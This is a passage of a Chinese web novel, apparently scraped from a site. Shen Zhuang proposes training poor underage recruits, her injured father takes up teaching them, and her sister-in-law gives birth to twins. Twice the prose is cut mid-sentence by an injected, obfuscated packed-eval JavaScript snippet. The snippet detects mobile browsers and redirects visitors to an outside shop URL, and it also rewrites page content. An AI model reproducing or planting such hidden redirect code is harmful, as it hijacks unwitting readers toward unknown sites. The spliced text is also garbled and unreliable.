将在边关，最怕帝王猜忌。这么大的事情若是他们国公府擅自做主，只怕要兴起一番风波。 沈妆沁了一身冷汗，险些把阿爹带沟里去了。她心有余悸，道：“还是父亲思虑周全。” 沈宜笑着摸了摸女儿的脑袋，言语里透着自豪：“为父这是多年官场摸爬出来的周全，可比不得咱们般般，小小年纪就能想出这么好的主意。” “那自是虎父无犬女的。”沈妆笑得心虚，“我替父亲磨墨。” 17. 如 意 沈宜上书将此计陈于平霄皇帝，很快就有了回应。令沈妆没想到的是，皇帝指定的商户竟还是彭家。 沈妆觉着稀奇，担心彭家与大赫那边勾连害了沈家军，连忙请祖母致信帝都打探。 过了月余才得回信，原来彭家为了争这桩生意已与大赫那边断了生意往来，彭元昶还同礼部侍郎的孙女定了亲事，这桩生意正是礼部侍郎牵线作保。 祖母说，彭家这是壮士断腕，要举全族之力托举彭元昶。 彭家与大赫勾连不清，即便彭元昶将来入了仕途也不会得朝廷重用。两头得利的买卖终难长久，这大约是他们从沈妆拒婚的事情上悟出来的。 如今遇上朝廷给沈家军军属寻商户，也是一笔不错的买卖，正好填补大赫那边的损失。彭家果不愧是累代的豪商巨贾，算盘打得响亮。 刘耘连声慨叹，若是沈妆早一些提出这个法子，彭家便能早早与大赫斩断来往，哪里还须去攀附什么礼部侍郎，沈彭两家的亲事早就成了。 沈妆亦唏嘘，倒不是因为错过了彭元昶，而是觉得世事奇妙，只一桩事情的次序错了，就能让两个人命运改写。 祖母却道：“有何值得惋惜的，这才多少时日那彭家小子就与旁人定了亲，可见不是个实心实意的，何堪托付。” 刘耘点点头，又开始庆幸这桩亲事没成。 不论彭家立心如何，终归已是尘埃落定。 沈宜亲点了几个知根知底的士兵，趁着休战的空闲给沈家军上下一一登记，再送往各州县查实。 沈宜日日忙着运筹帷幄，精神可见恢复了。 沈妆每隔几日就去父亲那里打听消息，这个计策果然奏效，还没等他们细查已有几个小兵心虚逃了。至于是哪国安插的细作，已不可追溯了。 眼见军营这边她帮不上忙，沈妆只将心思全放在嫂嫂孟福月这儿，得闲就来与她作伴。 有着沈妆作伴解闷，苦口婆心关照衣食，孟福月的肚子日渐圆滚，而且胎相平稳，郎中诊了也说极可能是双生子。 临盆的日子愈发近了，大腹便便走动费劲，姑嫂俩只在屋内闲话，顺便做做孩子的小衣小袜。孟福月手巧，指点得沈妆的针黹功夫也大有精进。 “昨日收到你阿兄的信，信里直夸你聪慧，你想的那个计策不仅查出了细作，今年新兵招募，应征的人也多了许多。”孟福月边绣虎头鞋边说道，“我就知道，般般虽是女儿家，也能有一番大作为。” “嫂嫂如此夸我，也不怕我得意自大。”沈妆不敢居功，说起来功劳最大的还得是檀京肃。 “你若是这般自谦，我有一桩要紧事可不知该不该问你了。”孟福月故意卖了关子。 沈妆闻言先是一惊，以为孟福月遇了什么难事，抬头见她笑意盈盈的才放下了心，道：“嫂嫂知我是个急性子，就快别卖关子了。” “好好好。”孟福月收敛笑意，放下手里的绣活，正色言道，“你阿兄来信说，今年新兵招募，应征者是往年的两倍有余，当中还有好些是年岁不足的小子。若按往常，劝回家也就是了。可这些小子多是家境贫苦，为了给家中的亲人挣口衣食，穿州过府而来，若将他们退回去，只怕还未走到家就饿死在路上了。但若收入沈家军，又坏了军规国法。” “阿兄是想收留他们？”沈妆面色微沉，投效沈家军的人变多自然是好事，不过未及冠的孩子收入军中总归不妥，若全收留在府里又多有不便。 孟福月轻轻一叹，沈戬第一回主持新兵招募，他又是个心善的人，难免抉择不下。 可是府里的账目她看过，婆婆处处节俭才略有盈余，如何还能养得了这么许多孩子。她道：“一百余人虽不算多，但若是开此先例，往后可不知有多少人要投到国公府里来，咱们又能收留得了多少。” 沈妆默然思量，这么多人府里确实供养不起。 “依我之见，一百多号人确实不好收留，十五以上的有手脚有力气，给些盘缠让他们回去自谋生路，年岁到了再来应征便是。至于年岁小的，若是体弱习不了武，留下来也是耽误了。让他们自己选，是要盘缠回家，还是咱们帮着找乡绅们收留他们做个小工，至少能填得饱肚子。” 孟福月边听边点头：“这一筛剩下的人应当不足三分一了。” “若是习武的好苗子，供他们吃穿虽多一笔花费，但也算是于沈家军有利。而且还有一个好处。” 孟福月微抬了头，好奇问道：“还有什么好处？” “我想让阿爹来教导这些孩子。” 她们都知道，沈宜正值盛年，还未施展抱负便被腿伤拖累，一直自觉愧负沈家先祖。虽然总在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388150|200298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人前装作淡然，其实意志已然消磨。 清查细作的事情已经办得差不多了，她原先就一直苦恼要再寻什么事情让阿爹寄托抱负。 孟福月连连称妙，虽不能亲自上阵杀敌，但可以为沈家军栽培后进，也一样是为国尽忠。可是…… “可是父亲的腿……”虽有大夫悉心照料，沈宜也只能拄着拐勉强行走，怎能教得了武艺。 “入门的武艺并不难教，只要寻个习过沈家枪法的人来演示，阿爹在旁指点，也是可以的。” “何须寻旁人。”孟福月看着沈妆，意思十分明显。 “我？”沈妆不可置信，只觉孟福月的想法比自己还要大胆。 “你是父亲和你阿兄亲自教导出来的，谁还能比你合适？” “倒也……未为不可。”沈妆七上八下，她一直想着如何才算不白活一世，可身为女子总难有施展拳脚的地方，若能教徒授艺，为沈家军栽培良将，那她也算不白活这一世。 但不知阿娘能不能肯。 孟福月一眼便看穿了她的心思，道：“母亲那边我替你去说。” 沈妆欢喜得抱住孟福月不放：“真是我的好嫂嫂，阿兄娶了你真是几世修来的福气。” “好了好了。”孟福月笑得眉眼弯弯，“不过咱们可说好了，你得先静心把你侄儿的棉衣绣完，可不能孩子都会跑了还穿不上姑姑绣的衣裳。” “绣，我呀挑灯熬夜也绣给我的侄子侄女绣完。” “你怎知必定是一子一女？” “我就是知道。”沈妆轻抚了抚她的肚子，感觉似有个小手隔着皮肉与她击了一掌。 一定是她的小侄女，今世她一定能平安来到这个世上。 沈妆眼眶红了一刹，赶紧收了手转头去挑绣线，免得让孟福月瞧见不知该如何解释。 她左挑右选，找了一团翠色的绣线，打算在棉衣上绣一片佛甲草。佛甲草耐寒耐旱，看之尖尖、触之绵绵，希望未出世的小侄女也能如佛甲草一般，既坚韧又温婉。 “嫂嫂想好孩子的名字了吗？” 孟福月摇摇头：“我与你阿兄说好，孩子的名字请祖母来起。不过若有女儿，小名便唤作如意，这是我自己起的。” 如意，如意，沈妆低声念着侄女的小名，只盼今世她们都能如意。 18. 侄 儿 孟福月与沈戬通信将收留孩子的事情议定，拿着沈戬的回信去禀刘耘。 刘耘原本不肯，但孟福月说，若是找旁人来，人家直接便可授艺，倒显得沈宜多余，恐更受打击。恰恰因沈妆是女子有诸多不便之处，才能让沈宜有用武之地。 刘耘听着有理，有所动摇，孟福月又继续分析利害，把刘耘的担忧一一解除，不仅劝得她松口答应，还主动帮忙张罗。 沈家在兜儿巷有处不大的宅院，因位置偏僻一直空置着，正好收拾出来安置那些孩子，刘耘还找了两个手脚利落的大娘负责照顾他们起居饮食。 沈戬从应征的孩童中挑出二十一个筋骨不错的留了下来，这些孩子最大的十五岁，最小的才十一岁。见他们个个瘦得皮包骨，沈戬托孟夫子帮忙给他们找了个启蒙先生，让他们先学一个月文课，识些字，顺便也养一养身子，身子骨硬实了再习武才能事半功倍。 沈妆得知刘耘点头后，第一桩事就是去找柳管事从库房要了牛筋木和镔铁，然后带着私己钱上街去寻工匠，打一杆趁手的银枪。 从前刘耘不喜她习武，她用的缨枪是捡阿兄初学时用的旧物，轻飘飘的毫无气势，每每见了阿兄的亮银枪她都馋得很。 章州城街上的铁匠铺都会打兵器，沈妆找了给阿兄打银枪的那位老师傅，让他照着阿兄的那杆打一把更短更轻巧的。 老师傅头回打女子用的枪，慢工出细活，花了十来日才打出了一杆满意的银枪，还在枪头上雕了精巧的梅花纹。 沈妆爱不释手，孟福月还帮她给银枪起了个名字叫傲雪。 银枪既已备了好的，枪法就更要勤加练习了。沈妆每日除了吃饭睡觉就是练枪，生怕哪个招式耍得不好丢了国公府的脸面。 一双手掌心磨得起了水泡又将水泡磨破，刘耘瞧着心疼，劝她不必如此，不过几个未习过武的瘦弱小子，她现下的功夫足以应对。 沈妆嘴上应好，依旧是一日练足四个时辰。 刘耘拿她没辙，只好告到祖母那儿去。 祖母把她喊到身边，并没劝她，只是拿清凉膏帮她涂了伤口，又缠上了纱布。 “这药是你祖父留下的，从前他教我骑射，我不争气，练不了一会儿手就破了皮，他便拿这药给我。这么敷上一日，伤口就能大好。后来只余了这些，我一直不舍得用。” 这清凉膏是沈家祖传的药方，府里配制了许多。沈妆知道祖母是想借此让她休息，这才把祖父搬了出来。 连祖父都搬出来了，她哪敢不听，乖乖举着一双熊掌休息。 之后每隔一日，祖母就遣人来给她上药，逼着她练一日歇一日，每日只能练一个时辰。一直到要去兜儿巷那天，伤也好得差不多了。 那日天刚蒙亮，不用阿梨唤她，沈妆自己就翻身起床梳洗，穿上了一身便利的男装，拿牛皮护腕把袖子缚上。 燕翳院那边，刘耘精心给沈宜选了身威严的衣裳，拿兰膏细细梳理好发冠。许久不曾见丈夫这般精神抖擞，刘耘鼻尖忍不住一酸，回想起初识之时的场景，恍如昨日。而如今，他们的女儿都已亭亭玉立，一柄银枪耍得有模有样。 父女两个一大早搭着马车往兜儿巷去，刚进巷口就听见院墙里叽叽喳喳的说话声，待他们下了马车，声音反而停了，霎时寂静一片，只余沙沙树叶声。 他们踏进院门，二十一个孩子整整齐齐在院子里排着，扯着嗓子齐声高喊“拜见沈将军”。 声音稚嫩，比不得沈家军的雄壮气势，但胜在朝气勃勃，让人顿感希望无限。 榕树底下摆了张藤椅，沈宜并没坐下，杵定拐杖，站得笔直，厉声训话：“你们要记住，你们虽留了下来，但并不代表已是沈家军的一员。往后在外不可以沈家军自称，更不可借沈家军的关照横行无忌。” 小子们齐声应“是”。 沈妆瞧瞧瞥向父亲，之前听阿兄说，父亲在军中与在家中是两副面孔，在家时慈爱温和，在军中喜怒不形于色，不怒自威，一个眼神就能让新兵双腿发颤。如今一见果是如此，再看那些毛孩儿，听着父亲的训又敬又惧，每个人都僵得像个塑像。 “虽然你们不是沈家军的军士，但念在你们的一片孝心，每三个月我会派人给你们的家人送一笔银两。” 此话一出，那些个小塑像像被菩萨洒了甘露，一下又活了起来，小院哗地恢复了嘈杂。 沈宜并未动怒，毕竟还是未经磨练的孩子，哪能要求他们现在就能同沈家军一般纪律严明。 沈宜咳了两声，嘈杂声骤然又再消散，孩子们重新站好，又再齐声高喊：“多谢沈将军”。 “你们要谢的不是我。”沈宜继续训话，“收留你们、照拂你们家人的不是我沈宜，也不是安国公府，而是平霄的百姓。你们住在这里除了在功课上要用心，更要尽己所能帮助乡里。” “是！” 沈宜训完话，开始入正题了。 “你们也知道，我在战场上负了伤，如今不便亲身教授你们武艺。”他抬掌指向沈妆，“这是我的女儿沈妆，自小由我亲传沈家枪法，往后由她代我演示枪术。” 小子们齐齐看向沈妆，沈妆骤然紧张，深深吸气，将腰杆挺得更直。 沈宜继续道：“沈家枪法是共有七十二式，讲究虚实相济，变幻难测。进要锐，退要速，步法要稳，身法要活，所以臂力、腰力、腿力要配合得宜。” 沈宜转头向沈妆，道：“般般，你演示一遍。” “是！” 沈妆将银枪往上一抛，顺势接住，倏尔挥动，银枪破风发出簌簌声响。 几个孩子看呆了眼，嘴也忘了合上。 一套枪法舞罢，沈妆持枪立定，掌声如雷。 沈宜亦觉她的枪法行云流水、气势如虹，尽得沈家真传。 沈宜又教了一些口诀，让孩子们先练基本功，沈妆帮着校正动作。 才练了两个动作就已到了午饭时候，沈宜怕他们拘谨，没有同他们一起用饭，只嘱咐他们午后上文课时要用心，晚上再勤加练习早上所授的步法，之后就带着沈妆先回府去了。 他们出门的时候正好碰上沈府来报信的小厮。 孟福月要临盆了。 沈妆闻言脸色骤白，怎么提早了？ 马车火急火燎穿街过巷，百姓见是安国公府的马车自觉避让。待他们回到国公府的时候，沈戬已经从军营赶回来了。 军营离国公府近百里，也不知沈戬是如何策的马竟比他们还快。 府里乱成一锅粥，接生婆匆匆赶来，大夫也热锅蚂蚁似的在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388151|200298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外头候着。 沈戬想进产房，孟福月不让，她不想让丈夫看见自己憔悴虚弱的模样。急得沈戬不知如何是好，捡了根扫帚当枪使，在院里舞了起来。 刘耘端着银盆出来的时候见院里被他挥得尘土飞扬，气得火冒三丈，大声呵斥他：“添什么乱，要耍枪回你军营去！” 饶是统帅三军的沈小将军，被娘亲这么一斥责，也只能灰溜溜提着扫帚到墙角蹲坐着。 这是他头一回觉得自己这般没用，厨房的烧火丫头都比他帮得上忙。 沈妆到的时候正见沈戬蹲在墙角，她心里咯噔一下，这情景与前世一模一样。 她心口闷得厉害，走到沈戬身边蹲下。原本想说些宽慰的话，可是想起前世的惨况半句也说不出口。 兄妹两个静静蹲在墙角，一个盯着门，一个望着窗。院子里人来人往，匆匆忙忙，谁也顾不上搭理他们。 沈妆此刻觉得自己仿佛被隔绝在尘世之外，眼睁睁看着前世的悲剧重复上演却无力阻止。 不自觉间，豆大泪滴打在土里，砸出一个小小的坑。 天色渐渐黯下来，屋里孟福月的叫声时起时歇，揪得沈戬的心也不时停顿。 直至婴儿的啼哭打破了兄妹俩的静坐，沈戬腾地站起来，疾风一般奔到房门口。 稳婆抱了个孩儿出来给他爹瞧，但屋里仍传出孟福月越来越虚弱的惨叫。 沈妆听不清稳婆说了些什么，只看见她说完后阿兄的脸色更差了。 产房里的惨叫声陡然停了，静了一刹后紧接上的一阵慌乱的嘈杂声。沈戬急得冲上去拍门，刘耘出来安抚了他两句，又急急关门回去帮忙了。 沈妆紧紧攥着拳头，泪水决堤似地淹没了视线，明明这一世嫂嫂身子养得很好，稳婆和郎中也是请了最好的，为何还会如此？ 她默默在心中向满天神佛祈祷，若是如意能平安降生，哪怕要她再去大赫吃一遍那些苦头她也甘愿。 产房内忽然又响起了一声婴儿啼哭，沈妆猛然抬头，泪还没止住，唇角已笑开了。 刘耘抱了孩子出来，满面喜色：“是姑娘，母女平安。” 沈戬欣喜，张着大手想抚女儿的脸，又怕自己掌心太糙伤着了孩子，犹犹豫豫地停在半空。 柳嬷嬷一直候在门边，听见孩子生下了赶紧祠堂给明昭长公主报喜。长公主匆匆从祠堂赶来，看着襁褓里的两个曾孙不禁眼盈热泪，心中惋惜他们的曾祖父去得早，无缘抱一抱如此可爱的双生孩儿。 “还请祖母为这两个孩子取名。”沈戬敬重祖母，他的名字也是祖母起的。 “你们夫妻可有心仪的了？” “福月给女儿起了个小名叫''如意''，大名倒未想过。” “‘如意’很好，做大名也无不可。”人生一世，所求不正是如意二字么。明昭长公主看着孙儿肉乎乎的脸颊，又道：“男孩儿就叫''敬平''吧。” “平”是平霄的平，希望她那远在帝都的皇帝弟弟，能从这名字里看出沈戬的忠心，早日将世子之位许给他。 然而皇帝陛下终究还是让她失望了，帝都那边送来的贺礼不过是些金银玉器和锦绣布匹。 好在安国公府现下也没太在意这事儿，所有人都将心思放在这对双生子身上。